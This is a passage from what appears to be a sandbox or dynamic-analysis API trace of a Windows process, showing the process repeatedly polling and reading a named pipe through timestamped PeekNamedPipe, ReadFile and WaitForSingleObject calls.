nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0065.969] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0066.009] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0xa6, lpBytesLeftThisMessage=0x0) returned 1 [0066.009] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0xa6, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0xa6, lpOverlapped=0x0) returned 1 [0066.009] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0066.042] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0066.042] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0066.059] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0066.059] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x62, lpOverlapped=0x0) returned 1 [0066.059] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0066.117] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x3d, lpBytesLeftThisMessage=0x0) returned 1 [0066.117] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x3d, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x3d, lpOverlapped=0x0) returned 1 [0066.117] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0066.143] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0066.143] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x62, lpOverlapped=0x0) returned 1 [0066.143] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0066.200] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x41, lpBytesLeftThisMessage=0x0) returned 1 [0066.200] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x41, lpOverlapped=0x0) returned 1 [0066.200] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0066.234] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0066.234] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x62, lpOverlapped=0x0) returned 1 [0066.234] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0066.326] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x48, lpBytesLeftThisMessage=0x0) returned 1 [0066.326] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x48, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x48, lpOverlapped=0x0) returned 1 [0066.326] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0066.358] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0066.359] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x62, lpOverlapped=0x0) returned 1 [0066.359] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0066.416] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x44, lpBytesLeftThisMessage=0x0) returned 1 [0066.416] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x44, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x44, lpOverlapped=0x0) returned 1 [0066.416] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0066.450] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0xad, lpBytesLeftThisMessage=0x0) returned 1 [0066.450] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0xad, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0xad, lpOverlapped=0x0) returned 1 [0066.450] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0066.488] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0066.488] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0066.523] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0xad, lpBytesLeftThisMessage=0x0) returned 1 [0066.523] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0xad, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0xad, lpOverlapped=0x0) returned 1 [0066.523] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0066.558] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0066.558] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0066.598] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0xa3, lpBytesLeftThisMessage=0x0) returned 1 [0066.598] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0xa3, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0xa3, lpOverlapped=0x0) returned 1 [0066.598] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0066.632] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0066.632] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0066.672] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0xa6, lpBytesLeftThisMessage=0x0) returned 1 [0066.673] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0xa6, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0xa6, lpOverlapped=0x0) returned 1 [0066.673] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0066.711] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0066.711] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0066.746] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0xaa, lpBytesLeftThisMessage=0x0) returned 1 [0066.747] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0xaa, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0xaa, lpOverlapped=0x0) returned 1 [0066.747] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0066.780] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0066.780] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0066.858] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x10c, lpBytesLeftThisMessage=0x0) returned 1 [0066.859] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x10c, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x10c, lpOverlapped=0x0) returned 1 [0066.859] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0066.917] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x47, lpBytesLeftThisMessage=0x0) returned 1 [0066.917] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x47, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x47, lpOverlapped=0x0) returned 1 [0066.917] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0066.983] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x9a, lpBytesLeftThisMessage=0x0) returned 1 [0066.983] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x9a, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x9a, lpOverlapped=0x0) returned 1 [0066.983] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0067.012] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x99, lpBytesLeftThisMessage=0x0) returned 1 [0067.012] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x99, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x99, lpOverlapped=0x0) returned 1 [0067.012] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0067.049] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0067.049] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0067.089] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x9a, lpBytesLeftThisMessage=0x0) returned 1 [0067.089] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x9a, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x9a, lpOverlapped=0x0) returned 1 [0067.089] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0067.123] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0067.123] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0067.164] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0xa0, lpBytesLeftThisMessage=0x0) returned 1 [0067.165] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0xa0, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0xa0, lpOverlapped=0x0) returned 1 [0067.165] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0067.200] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0067.200] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x62, lpOverlapped=0x0) returned 1 [0067.200] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0067.268] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x37, lpBytesLeftThisMessage=0x0) returned 1 [0067.268] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x37, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x37, lpOverlapped=0x0) returned 1 [0067.268] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0067.327] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x99, lpBytesLeftThisMessage=0x0) returned 1 [0067.328] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x99, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x99, lpOverlapped=0x0) returned 1 [0067.328] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0067.386] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0067.386] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0067.448] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x9a, lpBytesLeftThisMessage=0x0) returned 1 [0067.457] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x9a, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x9a, lpOverlapped=0x0) returned 1 [0067.457] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0067.508] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0067.509] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0067.592] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0067.592] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x62, lpOverlapped=0x0) returned 1 [0067.592] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0067.624] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0067.624] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0067.688] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x3f, lpBytesLeftThisMessage=0x0) returned 1 [0067.688] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x3f, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x3f, lpOverlapped=0x0) returned 1 [0067.688] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0067.726] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0xa0, lpBytesLeftThisMessage=0x0) returned 1 [0067.726] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0xa0, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0xa0, lpOverlapped=0x0) returned 1 [0067.726] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0067.760] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0067.761] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0067.799] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x9d, lpBytesLeftThisMessage=0x0) returned 1 [0067.799] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x9d, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x9d, lpOverlapped=0x0) returned 1 [0067.799] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0067.833] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0067.833] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0067.942] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0067.942] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x62, lpOverlapped=0x0) returned 1 [0067.942] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0067.967] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x3b, lpBytesLeftThisMessage=0x0) returned 1 [0067.967] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x3b, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x3b, lpOverlapped=0x0) returned 1 [0067.967] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.003] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0068.003] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.029] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x99, lpBytesLeftThisMessage=0x0) returned 1 [0068.030] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x99, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x99, lpOverlapped=0x0) returned 1 [0068.030] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.066] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0068.066] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x62, lpOverlapped=0x0) returned 1 [0068.066] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.092] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, 